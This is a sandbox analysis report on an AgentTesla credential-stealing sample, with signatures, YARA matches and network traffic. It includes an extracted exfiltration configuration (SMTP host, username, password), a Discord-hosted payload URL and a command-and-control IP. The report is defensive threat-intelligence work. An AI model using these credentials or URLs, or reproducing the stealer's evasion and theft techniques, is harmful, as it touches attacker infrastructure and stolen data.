Edit tour

Windows Analysis Report
450230549.exe

Overview

General Information

Sample name:	450230549.exe
Analysis ID:	1519251
MD5:	5086980f3ee0c035ec304102e6981410
SHA1:	fca1625b36a002d77f69586f96744dfbcde1d472
SHA256:	bfcef30ac8c0270957b3126d0b9046ddd4bc67fdffea077dd0a127809aa233a6
Tags:	exeuser-lowmal3
Infos:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: RegAsm connects to smtp port

Yara detected AgentTesla

Yara detected AntiVM3

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Check if machine is in data center or colocation facility

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to log keystrokes (.Net Source)

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for sample

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

450230549.exe (PID: 7068 cmdline: "C:\Users\user\Desktop\450230549.exe" MD5: 5086980F3EE0C035EC304102E6981410)

RegAsm.exe (PID: 6444 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 5324 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 4136 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Agent Tesla, AgentTesla	A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.	SWEED	http://blog.nsfocus.net/sweed-611/ http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/ http://ropgadget.com/posts/originlogger.html http://www.secureworks.com/research/threat-profiles/gold-galleon https://0xmrmagnezi.github.io/malware%20analysis/AgentTesla/	https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla

Malware Configuration

Threatname: Agenttesla

{"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.zqamcx.com", "Username": "server1@zqamcx.com", "Password": "Anambraeast@"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.3558791115.0000000002925000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3558791115.0000000002902000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3558791115.00000000028D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: 450230549.exe PID: 7068	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 450230549.exe PID: 7068	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Process Memory Space: 450230549.exe PID: 7068	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: 450230549.exe PID: 7068	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: RegAsm.exe PID: 4136	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 4136	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.450230549.exe.385caa0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.385caa0.1.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.385caa0.1.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32a43:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32ab5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32b3f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32bd1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32c3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32cad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32d43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32dd3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.RegAsm.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
3.2.RegAsm.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34843:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x348b5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3493f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x349d1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34a3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34aad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34b43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34bd3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.450230549.exe.37e4e58.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.37e4e58.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.37e4e58.0.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32a43:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32ab5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32b3f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32bd1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32c3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32cad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32d43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32dd3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.450230549.exe.3820c80.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.3820c80.2.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.3820c80.2.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x32a43:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x32ab5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x32b3f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x32bd1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x32c3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x32cad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x32d43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x32dd3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.450230549.exe.385caa0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.385caa0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.450230549.exe.385caa0.1.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.385caa0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34843:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x70463:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x348b5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x704d5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3493f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x7055f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x349d1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x705f1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34a3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7065b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34aad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x706cd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34b43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x70763:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x34bd3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x707f3:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.450230549.exe.37e4e58.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.37e4e58.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.450230549.exe.37e4e58.0.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.37e4e58.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34843:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x7066b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xac48b:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xe80ab:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x348b5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x706dd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xac4fd:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xe811d:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3493f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x70767:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xac587:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xe81a7:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x349d1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x707f9:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xac619:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xe8239:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34a3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x70863:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xac683:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xe82a3:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34aad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC
0.2.450230549.exe.3820c80.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.450230549.exe.3820c80.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.450230549.exe.3820c80.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.450230549.exe.3820c80.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x34843:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x70663:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xac283:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x348b5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x706d5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xac2f5:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3493f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x7075f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xac37f:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x349d1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x707f1:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xac411:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x34a3b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x7085b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xac47b:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x34aad:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x708cd:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xac4ed:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x34b43:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x70963:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xac583:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 20 entries

Sigma Signatures

Networking

Sigma detected: RegAsm connects to smtp port

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 78.110.166.82, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, Initiated: true, ProcessId: 4136, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49733

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 0.2.450230549.exe.385caa0.1.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.zqamcx.com", "Username": "server1@zqamcx.com", "Password": "Anambraeast@"}

Multi AV Scanner detection for submitted file

Source: 450230549.exe

ReversingLabs: Detection: 34%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 450230549.exe

Joe Sandbox ML: detected

Source: 450230549.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49731 version: TLS 1.2

Source: 450230549.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: HSDSDF32.pdb( source: 450230549.exe
Source:	Binary string: HSDSDF32.pdb source: 450230549.exe

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: 450230549.exe PID: 7068, type: MEMORYSTR

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 78.110.166.82:587

Source: global traffic	HTTP traffic detected: GET /attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f6535f&is=66f501df&hm=79c31af27b70e67c8e5bccaa49762a5ee024314b22617ea8ae2de8893a0fe97d& HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 78.110.166.82 78.110.166.82

Source: Joe Sandbox View	ASN Name: TUT-ASUS TUT-ASUS
Source: Joe Sandbox View	ASN Name: UKSERVERS-ASUKDedicatedServersHostingandCo-Location UKSERVERS-ASUKDedicatedServersHostingandCo-Location

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: global traffic

TCP traffic: 192.168.2.4:49733 -> 78.110.166.82:587

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f6535f&is=66f501df&hm=79c31af27b70e67c8e5bccaa49762a5ee024314b22617ea8ae2de8893a0fe97d& HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: mail.zqamcx.com
Source: global traffic	DNS traffic detected: DNS query: 198.187.3.20.in-addr.arpa

Source: 450230549.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 450230549.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 450230549.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 450230549.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 450230549.exe, 00000000.00000002.1725521175.0000000002783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.com
Source: 450230549.exe, 00000000.00000002.1725521175.0000000002783000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cdn.discordapp.comd
Source: 450230549.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 450230549.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 450230549.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 450230549.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 450230549.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: RegAsm.exe, 00000003.00000002.3558791115.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: 450230549.exe, 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558791115.00000000028A1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.zqamcx.com
Source: 450230549.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: 450230549.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: 450230549.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 450230549.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.i.lencr.org/0#
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://r11.o.lencr.org0#
Source: 450230549.exe, 00000000.00000002.1725521175.0000000002767000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558791115.00000000028A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 450230549.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3561320384.0000000005AF0000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3558363687.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: RegAsm.exe, 00000003.00000002.3558791115.0000000002908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://zqamcx.com
Source: 450230549.exe, 00000000.00000002.1726211238.0000000003709000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3557540735.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://account.dyn.com/
Source: 450230549.exe, 00000000.00000002.1725521175.0000000002767000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com
Source: 450230549.exe	String found in binary or memory: https://cdn.discordapp.com/attachments/1288648799220400244/1288752046828425256/kingggggme.txt?ex=66f

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49731 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.450230549.exe.385caa0.1.raw.unpack, n00.cs	.Net Code: MeS
Source: 0.2.450230549.exe.37e4e58.0.raw.unpack, n00.cs	.Net Code: MeS
Source: 0.2.450230549.exe.3820c80.2.raw.unpack, n00.cs	.Net Code: MeS

Installs a global keyboard hook

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Window created: window name: CLIPBRDWNDCLASS

Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.450230549.exe.385caa0.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.450230549.exe.37e4e58.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.450230549.exe.3820c80.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.450230549.exe.385caa0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.450230549.exe.37e4e58.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.450230549.exe.3820c80.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\450230549.exe	Code function: 0_2_00D311D8	0_2_00D311D8
Source: C:\Users\user\Desktop\450230549.exe	Code function: 0_2_00D32B28	0_2_00D32B28
Source: C:\Users\user\Desktop\450230549.exe	Code function: 0_2_00D32B19	0_2_00D32B19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EAB303	3_2_00EAB303
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EA4BE8	3_2_00EA4BE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EAEE48	3_2_00EAEE48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EA3FD0	3_2_00EA3FD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00EA4318	3_2_00EA4318
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_060F2168	3_2_060F2168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_060F2163	3_2_060F2163
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06175590	3_2_06175590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061765F8	3_2_061765F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0617B22A	3_2_0617B22A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06173050	3_2_06173050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0617C180	3_2_0617C180
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06177D80	3_2_06177D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_061776A0	3_2_061776A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0617E398	3_2_0617E398
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_06170040	3_2_06170040
